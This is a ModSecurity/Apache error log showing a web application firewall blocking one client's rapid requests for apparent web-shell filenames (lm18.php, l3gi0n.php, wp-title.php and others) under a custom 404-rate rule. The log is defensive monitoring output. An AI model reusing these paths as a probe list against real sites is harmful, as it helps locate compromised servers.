[Sun Dec 28 19:58:29.015640 2025] [:error] [pid 29437:tid 29467] [client 4.193.233.56:16650] [client 4.193.233.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/55b76.php"] [unique_id "aVEbZRhDotAbVk6pZLfFLwAAAcE"]
[Sun Dec 28 19:58:29.396998 2025] [:error] [pid 29436:tid 29440] [client 4.193.233.56:16654] [client 4.193.233.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/lm18.php"] [unique_id "aVEbZbchzOOtNL9VPNLwXwAAAYE"]
[Sun Dec 28 19:58:29.671494 2025] [:error] [pid 42294:tid 42350] [client 4.193.233.56:16712] [client 4.193.233.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/lm18.php"] [unique_id "aVEbZdTE5kYcYCOzl9G-8QAAAIA"]
[Sun Dec 28 19:58:29.930812 2025] [:error] [pid 29436:tid 29441] [client 4.193.233.56:16669] [client 4.193.233.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/lm18.php"] [unique_id "aVEbZbchzOOtNL9VPNLwYQAAAYI"]
[Sun Dec 28 19:58:30.263882 2025] [:error] [pid 42294:tid 42361] [client 4.193.233.56:16706] [client 4.193.233.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/lm18.php"] [unique_id "aVEbZtTE5kYcYCOzl9G-8wAAAIs"]
[Sun Dec 28 19:58:30.603867 2025] [:error] [pid 42293:tid 42323] [client 4.193.233.56:16699] [client 4.193.233.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/abcd.php"] [unique_id "aVEbZsvc9B-5cwN385Ln-wAAAEA"]
[Sun Dec 28 19:58:30.887703 2025] [:error] [pid 42292:tid 42317] [client 4.193.233.56:16656] [client 4.193.233.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/abcd.php"] [unique_id "aVEbZpyOrM_vaFx1osZK1gAAABU"]
[Sun Dec 28 19:58:31.141744 2025] [:error] [pid 43789:tid 43792] [client 4.193.233.56:15598] [client 4.193.233.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/abcd.php"] [unique_id "aVEbZwa-tUppni4CcCY0iQAAAQE"]
[Sun Dec 28 19:58:31.448147 2025] [:error] [pid 29388:tid 29401] [client 4.193.233.56:15584] [client 4.193.233.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/abcd.php"] [unique_id "aVEbZ9oLv2L2zI_SpdXhLgAAAUU"]
[Sun Dec 28 19:58:31.721667 2025] [:error] [pid 29388:tid 29411] [client 4.193.233.56:16647] [client 4.193.233.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/admin.php"] [unique_id "aVEbZ9oLv2L2zI_SpdXhMAAAAU8"]
[Sun Dec 28 19:58:32.551260 2025] [:error] [pid 29436:tid 29448] [client 4.193.233.56:16710] [client 4.193.233.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/admin.php"] [unique_id "aVEbaLchzOOtNL9VPNLwZgAAAYk"]
[Sun Dec 28 19:58:33.169061 2025] [:error] [pid 29436:tid 29451] [client 4.193.233.56:15595] [client 4.193.233.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/admin.php"] [unique_id "aVEbabchzOOtNL9VPNLwaQAAAYw"]
[Sun Dec 28 19:58:33.613960 2025] [:error] [pid 42378:tid 42386] [client 4.193.233.56:16741] [client 4.193.233.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/admin.php"] [unique_id "aVEbaTgtcN-KHAjWrX8bkwAAAMY"]
[Sun Dec 28 19:58:33.928334 2025] [:error] [pid 29436:tid 29456] [client 4.193.233.56:15567] [client 4.193.233.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/rzki.php"] [unique_id "aVEbabchzOOtNL9VPNLwbAAAAZE"]
[Sun Dec 28 19:58:34.263128 2025] [:error] [pid 29388:tid 29396] [client 4.193.233.56:16695] [client 4.193.233.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/rzki.php"] [unique_id "aVEbatoLv2L2zI_SpdXhMQAAAUA"]
[Sun Dec 28 19:58:34.640707 2025] [:error] [pid 29437:tid 29478] [client 4.193.233.56:16752] [client 4.193.233.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/rzki.php"] [unique_id "aVEbahhDotAbVk6pZLfFMQAAAcw"]
[Sun Dec 28 19:58:34.958121 2025] [:error] [pid 29437:tid 29477] [client 4.193.233.56:16676] [client 4.193.233.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/rzki.php"] [unique_id "aVEbahhDotAbVk6pZLfFNAAAAcs"]
[Sun Dec 28 19:58:35.212339 2025] [:error] [pid 42378:tid 42387] [client 4.193.233.56:16641] [client 4.193.233.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/asa.php"] [unique_id "aVEbazgtcN-KHAjWrX8blAAAAMc"]
[Sun Dec 28 19:58:35.404405 2025] [:error] [pid 42294:tid 42372] [client 4.193.233.56:16703] [client 4.193.233.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/asa.php"] [unique_id "aVEba9TE5kYcYCOzl9G--AAAAJY"]
[Sun Dec 28 19:58:36.010907 2025] [:error] [pid 43789:tid 43796] [client 4.193.233.56:15553] [client 4.193.233.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/asa.php"] [unique_id "aVEbbAa-tUppni4CcCY0jAAAAQU"]
[Sun Dec 28 19:58:36.296651 2025] [:error] [pid 42293:tid 42343] [client 4.193.233.56:16675] [client 4.193.233.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/asa.php"] [unique_id "aVEbbMvc9B-5cwN385LoAAAAAFQ"]
[Sun Dec 28 19:58:36.609640 2025] [:error] [pid 42292:tid 42315] [client 4.193.233.56:16691] [client 4.193.233.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/l3gi0n.php"] [unique_id "aVEbbJyOrM_vaFx1osZK1wAAABM"]
[Sun Dec 28 19:58:36.975539 2025] [:error] [pid 29436:tid 29461] [client 4.193.233.56:15560] [client 4.193.233.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/l3gi0n.php"] [unique_id "aVEbbLchzOOtNL9VPNLwcQAAAZY"]
[Sun Dec 28 19:58:37.387824 2025] [:error] [pid 29388:tid 29419] [client 4.193.233.56:15610] [client 4.193.233.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/l3gi0n.php"] [unique_id "aVEbbdoLv2L2zI_SpdXhMgAAAVc"]
[Sun Dec 28 19:58:37.728970 2025] [:error] [pid 29388:tid 29409] [client 4.193.233.56:16679] [client 4.193.233.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/l3gi0n.php"] [unique_id "aVEbbdoLv2L2zI_SpdXhMwAAAU0"]
[Sun Dec 28 19:58:38.085134 2025] [:error] [pid 43789:tid 43800] [client 4.193.233.56:16714] [client 4.193.233.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bbn.php"] [unique_id "aVEbbga-tUppni4CcCY0jgAAAQk"]
[Sun Dec 28 19:58:38.268703 2025] [:error] [pid 43789:tid 43806] [client 4.193.233.56:16743] [client 4.193.233.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bbn.php"] [unique_id "aVEbbga-tUppni4CcCY0kAAAAQ8"]
[Sun Dec 28 19:58:38.517033 2025] [:error] [pid 43789:tid 43802] [client 4.193.233.56:15559] [client 4.193.233.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bbn.php"] [unique_id "aVEbbga-tUppni4CcCY0kgAAAQs"]
[Sun Dec 28 19:58:38.805313 2025] [:error] [pid 43789:tid 43795] [client 4.193.233.56:15607] [client 4.193.233.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bbn.php"] [unique_id "aVEbbga-tUppni4CcCY0kwAAAQQ"]
[Sun Dec 28 19:58:39.032002 2025] [:error] [pid 29436:tid 29462] [client 4.193.233.56:16670] [client 4.193.233.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ccea.php"] [unique_id "aVEbb7chzOOtNL9VPNLwdQAAAZc"]
[Sun Dec 28 19:58:39.244539 2025] [:error] [pid 29436:tid 29459] [client 4.193.233.56:16715] [client 4.193.233.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ccea.php"] [unique_id "aVEbb7chzOOtNL9VPNLwdgAAAZQ"]
[Sun Dec 28 19:58:44.013790 2025] [:error] [pid 42378:tid 42384] [client 4.193.233.56:16688] [client 4.193.233.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ccea.php"] [unique_id "aVEbdDgtcN-KHAjWrX8bmgAAAMQ"]
[Sun Dec 28 19:58:44.257320 2025] [:error] [pid 42294:tid 42360] [client 4.193.233.56:16689] [client 4.193.233.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ccea.php"] [unique_id "aVEbdNTE5kYcYCOzl9G_AAAAAIo"]
[Sun Dec 28 19:58:44.563181 2025] [:error] [pid 42294:tid 42362] [client 4.193.233.56:15568] [client 4.193.233.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-title.php"] [unique_id "aVEbdNTE5kYcYCOzl9G_BAAAAIw"]
[Sun Dec 28 19:58:44.901759 2025] [:error] [pid 29437:tid 29476] [client 4.193.233.56:15594] [client 4.193.233.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-title.php"] [unique_id "aVEbdBhDotAbVk6pZLfFOgAAAco"]
[Sun Dec 28 19:58:45.239508 2025] [:error] [pid 42294:tid 42372] [client 4.193.233.56:15571] [client 4.193.233.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-title.php"] [unique_id "aVEbddTE5kYcYCOzl9G_BQAAAJY"]
[Sun Dec 28 19:58:45.500471 2025] [:error] [pid 29437:tid 29469] [client 4.193.233.56:16668] [client 4.193.233.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-title.php"] [unique_id "aVEbdRhDotAbVk6pZLfFOwAAAcM"]
[Sun Dec 28 19:58:45.848524 2025] [:error] [pid 42378:tid 42393] [client 4.193.233.56:16749] [client 4.193.233.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/zc-729.php"] [unique_id "aVEbdTgtcN-KHAjWrX8bnQAAAM0"]
[Sun Dec 28 19:58:46.089771 2025] [:error] [pid 42294:tid 42354] [client 4.193.233.56:16748] [client 4.193.233.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/zc-729.php"] [unique_id "aVEbdtTE5kYcYCOzl9G_BgAAAIQ"]
[Sun Dec 28 19:58:46.353320 2025] [:error] [pid 42378:tid 42397] [client 4.193.233.56:16753] [client 4.193.233.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/zc-729.php"] [unique_id "aVEbdjgtcN-KHAjWrX8bngAAANE"]
[Sun Dec 28 19:58:46.664617 2025] [:error] [pid 29437:tid 29474] [client 4.193.233.56:15570] [client 4.193.233.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/zc-729.php"] [unique_id "aVEbdhhDotAbVk6pZLfFPwAAAcg"]
[Sun Dec 28 19:58:46.950728 2025] [:error] [pid 29388:tid 29420] [client 4.193.233.56:16692] [client 4.193.233.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ssxsl.php"] [unique_id "aVEbdtoLv2L2zI_SpdXhNAAAAVg"]
[Sun Dec 28 19:58:47.142333 2025] [:error] [pid 42378:tid 42399] [client 4.193.233.56:16698] [client 4.193.233.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ssxsl.php"] [unique_id "aVEbdzgtcN-KHAjWrX8bnwAAANM"]
[Sun Dec 28 19:58:47.485280 2025] [:error] [pid 42293:tid 42332] [client 4.193.233.56:16697] [client 4.193.233.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ssxsl.php"] [unique_id "aVEbd8vc9B-5cwN385LoCAAAAEk"]
[Sun Dec 28 19:58:47.827157 2025] [:error] [pid 42292:tid 42314] [client 4.193.233.56:15601] [client 4.193.233.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ssxsl.php"] [unique_id "aVEbd5yOrM_vaFx1osZK2wAAABI"]
[Sun Dec 28 19:58:48.064759 2025] [:error] [pid 42293:tid 42323] [client 4.193.233.56:16643] [client 4.193.233.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/co.php"] [unique_id "aVEbeMvc9B-5cwN385LoCgAAAEA"]
[Sun Dec 28 19:58:48.463906 2025] [:error] [pid 42293:tid 42341] [client 4.193.233.56:15499] [client 4.193.233.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/co.php"] [unique_id "aVEbeMvc9B-5cwN385LoCwAAAFI"]
[Sun Dec 28 19:58:49.138179 2025] [:error] [pid 42292:tid 42301] [client 4.193.233.56:15504] [client 4.193.233.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/co.php"] [unique_id "aVEbeZyOrM_vaFx1osZK4AAAAAU"]
[Sun Dec 28 19:58:49.674188 2025] [:error] [pid 42292:tid 42320] [client 4.193.233.56:15597] [client 4.193.233.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/co.php"] [unique_id "aVEbeZyOrM_vaFx1osZK4QAAABg"]
[Sun Dec 28 19:58:50.149082 2025] [:error] [pid 29436:tid 29449] [client 4.193.233.56:15573] [client 4.193.233.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sikma.php"] [unique_id "aVEberchzOOtNL9VPNLwegAAAYo"]
[Sun Dec 28 19:58:50.695267 2025] [:error] [pid 42293:tid 42347] [client 4.193.233.56:15586] [client 4.193.233.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sikma.php"] [unique_id "aVEbesvc9B-5cwN385LoDgAAAFg"]
[Sun Dec 28 19:58:51.031166 2025] [:error] [pid 42378:tid 42386] [client 4.193.233.56:16672] [client 4.193.233.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sikma.php"] [unique_id "aVEbezgtcN-KHAjWrX8boQAAAMY"]
[Sun Dec 28 19:58:51.368858 2025] [:error] [pid 29388:tid 29417] [client 4.193.233.56:15562] [client 4.193.233.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sikma.php"] [unique_id "aVEbe9oLv2L2zI_SpdXhOAAAAVU"]
[Sun Dec 28 19:58:51.747581 2025] [:error] [pid 42294:tid 42371] [client 4.193.233.56:15588] [client 4.193.233.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/lib.php"] [unique_id "aVEbe9TE5kYcYCOzl9G_CQAAAJU"]
[Sun Dec 28 19:58:52.059838 2025] [:error] [pid 29437:tid 29487] [client 4.193.233.56:16717] [client 4.193.233.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/lib.php"] [unique_id "aVEbfBhDotAbVk6pZLfFRQAAAdU"]
[Sun Dec 28 19:58:52.600456 2025] [:error] [pid 29437:tid 29483] [client 4.193.233.56:15581] [client 4.193.233.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/lib.php"] [unique_id "aVEbfBhDotAbVk6pZLfFRwAAAdE"]
